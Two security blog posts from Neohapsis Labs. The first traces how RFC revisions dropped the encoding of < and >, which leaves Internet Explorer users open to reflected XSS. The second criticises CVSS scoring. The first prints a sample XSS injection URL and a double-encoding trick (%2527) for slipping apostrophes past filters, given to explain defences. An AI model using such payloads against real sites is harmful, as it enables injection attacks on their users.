Neohapsis Labs

By Michael Pearce

Brief: Web standards are complex, with request encoding Microsoft loses if they are “compliant” and they also lose if they are not.

“Ambiguous RFC leads to Cross Site Scripting “ was posted by a colleague at Neohapsis Labs (Patrick Toomey) a few weeks ago, and a related post was also put up by Rob Rachwald at Imperva’s blog. As I have read through some of the associated RFCs many times I decided to dig a little deeper. I journeyed through the final version of seven RFCs defining three things (URL, URI and HTTP ), in an attempt to track down just how this issue arrived in the standards and how the Internet Explorer behavior fitted in.

What I seem to have found is a situation that illustrates the complexity of standards development, shows how unintended consequences can develop during development, and also, surprisingly, how Microsoft is placed in a lose-lose situation with Internet explorer and standards compliance. It appears that if Microsoft is fully, and minimally, standards compliant then they need to exhibit behavior that the other browsers do not. Should they add “safe” behavior then they not only break some legacy applications, but will need to add behavior that the standard isn’t entirely clear on the status of.

Microsoft loses if they are “compliant” and they lose if they are not. And that presumes you can even work out which standard is applicable in the first place….

Recap of the issue at hand:

Cross Site Scripting occurs when a web application or server takes unvalidated and unsanitized user input and displays it back in such a way that any active (or otherwise harmful) content embedded in it (such as JavaScript) will be executed. This happens because web browsers generally treat anything that is received from a web server as having originated there. By sending malicious content through a web server first web browsers lose any associated context that content has, and instead associates it all with the web server. Patrick’s post has a walkthrough of an example of this and how it can be abused.

The specific XSS related problem of inconsistent percent-encoding of sensitive characters in requests across different web browsers is an interesting one. Percent encoding means that if an application directly repeats unsafe input it will be sent to the server in a form with a percent sign and the ascii value, rather than raw form. So an injected input like

http://www.example.com/form.php?name=name”><script>alert(123)</script><&#8221;

will become the following in the webpage source code where it says “hello NAME”:

name%E2%80%9D%3E%3Cscript%3Ealert(123)%3C%2Fscript%3E%3C%E2%80%9D

which will not, and cannot, execute as it is neither valid JavaScript nor Valid HTML.

Well, it turns out that Firefox, Chrome, and Safari all perform this encoding of request parameters while Internet Explorer does not. Therefore any website which naievely repeats input from URL parameters may find that its IE wielding users are vulnerable to XSS while those using other browsers are not.

Thus it appears that Internet Explorer increases the risk of its users to Cross-Site Scripting.

Latest standards

Both previous posts on this issue list RFC 3986, “URI Generic Syntax”, as the root of the problem, because it lists reserved characters but neglects to mention the XML/HTML delimiters of < and > (page 12, section 2.2).

    reserved    = gen-delims / sub-delims

    gen-delims  = ":" / "/" / "?" / "#" / "[" / "]" / "@"

    sub-delims  = "!" / "$" / "&" / "'" / "(" / ")"
                / "*" / "+" / "," / ";" / "="

   Characters that are allowed in a URI but do not have a reserved
   purpose are called unreserved.  These include uppercase and lowercase
   letters, decimal digits, hyphen, period, underscore, and tilde.

      unreserved  = ALPHA / DIGIT / "-" / "." / "_" / "~"

So, should they be encoded or not? They are not explicitly unsafe, nor are they explicitly safe!

“Family” history

Patrick mentions that RFC 1738 “Uniform Resource Locators” (which RFC 3986 above updated) specifically mentioned < and > as unsafe on page 2:

   The characters "<" and ">" are unsafe because they are used as the
   delimiters around URLs in free text; the quote mark (""") is used to
   delimit URLs in some systems.  The character "#" is unsafe and should
   always be encoded because it is used in World Wide Web and in other
   systems to delimit a URL from a fragment/anchor identifier that might
   follow it.

However, in between the times of these two standards it occurred to me that there are other players. Namely, RFC 2396 which was made obsolecent by RFC 3986, and RFC 1808 which was made obsolescent by 2396. Interestingly RFC 1738 states that it is updated by 1808, but 1808 doesn’t mention it updates 1738. Note that 1808 is only a partial update to 1738, as it is only concerned with relative URLs.

With this chain we have, in increasing time going down:

RFC 1738
Uniform Resource Locators (URL)

||

RFC 1808
Relative Uniform Resource Locators

||

RFC 2396
Uniform Resource Identifiers (URI): Generic Syntax

||

RFC 3986
Uniform Resource Identifier (URI): Generic Syntax

At the top of this chain we have < and > being encoded, but at the bottom we don’t. What happened in between?

I’ll get to that soon, but first I have to introduce another RFC family, the HTTP family of RFCs.

“Neighborly” history.

Since HTTP is really what we are concerned with, (it uses URI’s to find resources) we need to look at the specifications for HTTP too.

Interestingly, the first IETF HTTP standard, RFC 1945 Hypertext Transfer Protocol — HTTP/1.0, had < and > as unsafe and required encoding (referencing RFC 1808), as did the first HTTP/1.1 RFC 2068, but the latest HTTP RFC, RFC 2616
Hypertext Transfer Protocol — HTTP/1.1 does not state that they have to be encoded explicitly (instead referencing RFC 2396 on page 19).

   Characters other than those in the "reserved" and "unsafe" sets (see
   RFC 2396 [42]) are equivalent to their ""%" HEX HEX" encoding.

   For example, the following three URIs are equivalent:

      http://abc.com:80/~smith/home.html
      http://ABC.com/%7Esmith/home.html
      http://ABC.com:/%7esmith/home.html

It does state that to be in an HTTP parameter value they need to be inside double quotes though (RFC 2616 page 16).

   Many HTTP/1.1 header field values consist of words separated by LWS
   or special characters. These special characters MUST be in a quoted
   string to be used within a parameter value (as defined in section
   3.6).

       token          = 1*<any CHAR except CTLs or separators>
       separators     = "(" | ")" | "<" | ">" | "@"
                      | "," | ";" | ":" | "\" | <">
                      | "/" | "[" | "]" | "?" | "="
                      | "{" | "}" | SP | HT

So, as of HTTP version 1.1 we have < and > indirectly requiring hashing (via RFC 2396). But, the HTTP protocol no longer requires encoding in addition to 2616, leaving the HTTP protocol potentially vulnerable. But that’s OK, because RFC 2396 still offers protection (RFC 2396 page 9):

   The angle-bracket "<" and ">" and double-quote (") characters are
   excluded because they are often used as the delimiters around URI in
   text documents and protocol fields.  The character "#" is excluded
   because it is used to delimit a URI from a fragment identifier in URI
   references (Section 4). The percent character "%" is excluded because
   it is used for the encoding of escaped characters.

   delims      = "<" | ">" | "#" | "%" | <">

The nail in the coffin, Updating URL Generic Syntax.

Then, the actual issue occurred. RFC 3986 Updated 1738, made 2396 obsolete, and made a slight change (RFC 3986 Page 11/12):

   URIs include components and subcomponents that are delimited by
   characters in the "reserved" set.  These characters are called
   "reserved" because they may (or may not) be defined as delimiters by
   the generic syntax, by each scheme-specific syntax, or by the
   implementation-specific syntax of a URI's dereferencing algorithm.
   If data for a URI component would conflict with a reserved
   character's purpose as a delimiter, then the conflicting data must be
   percent-encoded before the URI is formed.
   ...
   reserved    = gen-delims / sub-delims

      gen-delims  = ":" / "/" / "?" / "#" / "[" / "]" / "@"

      sub-delims  = "!" / "$" / "&" / "'" / "(" / ")"
                  / "*" / "+" / "," / ";" / "="

Notice something missing? No more < or > (or % or ” for that matter, but that’s more complicated).

Maybe this RFC isn’t ambiguous though? Consider the line from the except above (RFC 3986 Page 11):

“If Data for a URI component would conflict with a reserved character’s purpose as a delimiter, then the conflicting data must be percent encoded before the URI is formed”

Here’s the issue: the later RFC, 3986 is referring to delimiters of URI’s, whereas RFC 2396 is referring to delimiters in content (ostensibly not it’s job as a URI standard).

Summary and timeline

In short the problem is: HTTP shifted decisions about it’s own content to an RFC for URI, that URI RFC is now obsolete and replaced by another which does not offer this protection.

So the error was introduced into HTTP in RFC 2616 but not manifest until RFC 3986 removed the mitigations from the URL syntax.

Implications and other considerations

There are a few implications that come to mind, most notably who is responsible for a decision about something in a specification, and whether this particular case may be leading to multiple-encoding vulnerabilities in applications.

Controlling responsibility for functionality in standards.

One of the core problems here was that early on an HTTP standard shifted control of a content-level decision to a protocol, and that protocol later removed the constraints in it that were there for the purposes of HTTP. Early on in this history we had two non-conflicting layers of protection, but by the end there were none. The problem was that while this may appear conceptually that these two protocols are a protocol stack, with no dependencies relying upon another layer this is not the case in practice:

How it seems HTTP and URI interact, with HTTP sitting on top of URI syntax making no cross-dependent assumptions

They actually intertwine slightly.

.

When developing your own standards and protocols you need to carefully map out who own what, and make security decisions of data in your component based upon your component alone, and not based upon unfounded and potentially dangerous assumptions about the behavior of another component. Another common example is when web applications presume the incoming TCP/IP details or referrer header prove something. The former relies upon TCP/IP not being spoofed while the latter presumes they are using a non-compromised web browser.

Double-encoding

One potential problem with this inconsistent encoding across web browsers is that it may lead developers to decode their incoming data multiple times, or to simply keep decoding incoming requests to their web applications until they decode no more. This is so that all their applications can see the same data to process. But this may be leading developers to introduce multiple-decode vulnerabilities in their applications.

Encoding can offer a degree of protection against some injection attacks, but this is not always the case as it can sometimes introduce them. Furthermore, often web servers, application components or the application themselves will transparently decode percent encoded requests transparently and on-the-fly. When an application, or its architecture, do this decoding in unanticipated ways you get double and triple-encoding vulnerabilities.

For example, %25 is a percent character and %27 is an apostrophe (‘), so %2527 can be double-decoded first to %27, and then to an apostrophe (‘). %252527 is triple encoded , %25252527 is quadruple etc. This can sometimes introduce errors such as sql injection in applications that check the input (and sometimes its first decoded variant) for unsafe input (such as apostrophes) rather than using safe mechanisms like SQL parameterized statements.

If you ever have or suspect you application (or a component in its architecture) ensure that:

1. Validation checks are made unnecessary through using safe techniques where possible,

2. That where required to be used validation checks are made as close possible to the usage of the data,

3. That all security testing you do checks at least triple-decoded variants.

By Patrick Toomey

If you have been in the security space for any stretch of time you have undoubtedly run across the Common Vulnerability Scoring System (CVSS).  CVSS attempts to provide an “objective” way to calculate a measure of risk associated with a given vulnerability based on a number of criteria the security community has deemed worthwhile.  While I admire the goals of such a scoring system, in practice I think it falls short, and over-complicates the issue of assigning risk to vulnerabilities.  Before we get into my specific issues with CVSS, let’s briefly review how a CVSS score is calculated.  Put simply, the calculation tries to take into account criteria such as:

• Exploitability Metrics (i.e. probability)
• Impact Metrics (i.e. severity)
• Temporal Metrics (extra fudge factors for probability)
• Environmental Metrics (extra fudge factors for severity)

Each of the above categories is composed of a number of questions/criteria that are used as input into a calculation that results in a value between 0.0 and 10.0.  This score is often reported with publically disclosed vulnerabilities as a means of conveying the relative importance of fixing/patching the affected software.     The largest source of public CVSS scores comes from the National Vulnerability Database (NVD), as they have XML documents that contain a CVSS score for every CVE from 2002 to 2012.  In addition to the  NVD, I’ve also seen CVSS used by various security tools as well as used internally by numerous organizations, as it doesn’t require reinventing the wheel when ranking vulnerabilities.   So, what’s wrong with CVSS?

There are so many things I dislike about CVSS, though I will freely admit I am not steeped in CVSS lore, and would be open to hearing/discussing the reasoning behind the scoring system.  That said, here are my issues with CVSS in no particular order.

We don’t measure football fields in inches for a reason

Nobody cares that the distance between goal lines on an American football field is 3600 inches.  Why?  Because it is a useless unit of measurement when we are talking about football.  Nobody cares if someone has made 2 inches of progress on the field, as yards are the only thing that matters.  Similarly, what is an organization supposed to take away from a CVSS score that can take on 100 potential values?  Is a 7.2 any better than a 7.3 when it comes down to whether someone is deciding to fix something or not?  A reasonable argument against CVSS being too fine grained is that you can always bubble the result into a more coarse unit of measure.  But, that leads to my second complaint.

The “fix” is broken

So, sure, 100 distinct values is overkill for ranking vulnerabilities, and CVSS acknowledges this to some degree by mapping the overall score to a “severity score” of High, Medium and Low.  On the surface this seems reasonable, as it abstracts the ugly sausage making details of the detailed CVSS score into a very actionable severity score.  But, I feel like they managed to mess this up as well.  They started with a pretty fine granularity and bubbled up to something that is too coarse, as it tends to blur together various high severity vulnerabilities.  I’ve always been a fan of a four point  score that breaks down as follows:

• Critical – The vulnerability needs to have been fixed yesterday.  The entire team responsible will not sleep until the vulnerability has been fixed.
• High – This vulnerability is serious and we are going to fix it in the near term, but we also don’t need to make everyone lose sleep over it.
• Medium – This vulnerability is worth fixing, and we will set a relatively fixed date in the near future for when it will be fixed.
• Low – This vulnerability is on our radar and if it fits in our next release schedule we will fix it.

As can be seen, there are some pretty obvious groupings of scores within this data.  Without staring at the data too hard you can see that there are clearly four groupings of scores that would map very cleanly to the four point system I mentioned earlier.

The main thing to make note of here is that there is a vast chasm between each grouping and its nearest neighbor(s).  There is very little chance of mistaking a low vulnerability for a medium vulnerability.  In contrast, with the current CVSS scoring system the grouping looks more like this:

There is some seemingly arbitrary dividing lines between High, Medium, and Low scores.  Particularly troubling is the dividing line between Medium and High.  Anything scored less than a 7 is a Medium risk and anything greater is a High.  Unfortunately, there is a fair bit of data clustered at exactly that juncture.  This leads to my final complaint against CVSS.

Objectivity is in the eye of the beholder

As mentioned in the beginning of the blog entry, a CVSS score is based on some base metric, but can be adjusted using a number of “Temporal” and “Environmental” metrics.  In other words, given a base score, you can just tweak it how ever you want using a number of fuzzy criteria.  This, compounded with the coarse High, Medium, Low severity scores, leads to a troubling amount of score fiddling.  I am not going to go all conspiracy theory on you and claim people are fudging numbers for publically disclosed CVEs.  But, I have seen internal groups within companies leveraging these additional metrics to make the data fit their desired outcome.  I can’t blame them, as it is almost a requirement.  When presented a vulnerability there is generally an internal consensus about how serious this vulnerability is to the organization and whether it is a Critical, High, Medium, or Low (as I defined them above).  However, once they enter all of the base metrics into the CVSS calculator there is a reasonable chance that it is going to give you a score that doesn’t mesh with their gut.  So, adjustments are made to the temporal metrics and environmental metrics until it gives them the appropriate score.  Again, I blame nobody for “fudging” the data, as often times the base score just doesn’t work.  One could argue that the temporal and environmental scores could be adjusted in a reliable/repeatable way for a given application/environment.  Then, anytime a vulnerability is identified in that specific application then the same temporal/environmental adjustments could be used to create reliable/repeatable scores.  In reality, this doesn’t happen.  An organization should be praised for using any kind of scoring system at all.  To try to enforce an extra level of unnecessary/burdensome process is not worthwhile or realistic.

Conclusion

Even with all the above being said, as soon as you pitch the idea of using a four point scoring system you run into the problem of objectivity.  How do we decide what criteria delineates a Critical from a High vulnerability?  I am sure that is how CVSS started, as it provided an approach for scoring things objectively.  But, as we already discussed, it is only superficialy objective, as there are numerous ways to adjust the score using subjective metrics.  So, why bother?  I think following a model similar to the Chrome severity guidelines makes more sense.  The Chrome team has developed some specific criteria they use to group vulnerabilities.  Given that they are only trying to place a vulnerability into one of four buckets it isn’t that difficult.  Most organizations could come up with a similar set of organization specific criteria for assigning a vulnerability score.  In the end, while I am a fan of standardization in general, I am not a fan of the current standard for vulnerability scoring.  Not to be to cliche, but an Albert Einstein quote sums up my thoughts pretty well: “Everything should be made as simple as possible, but no simpler”.  I think CVSS could using a little simplifying.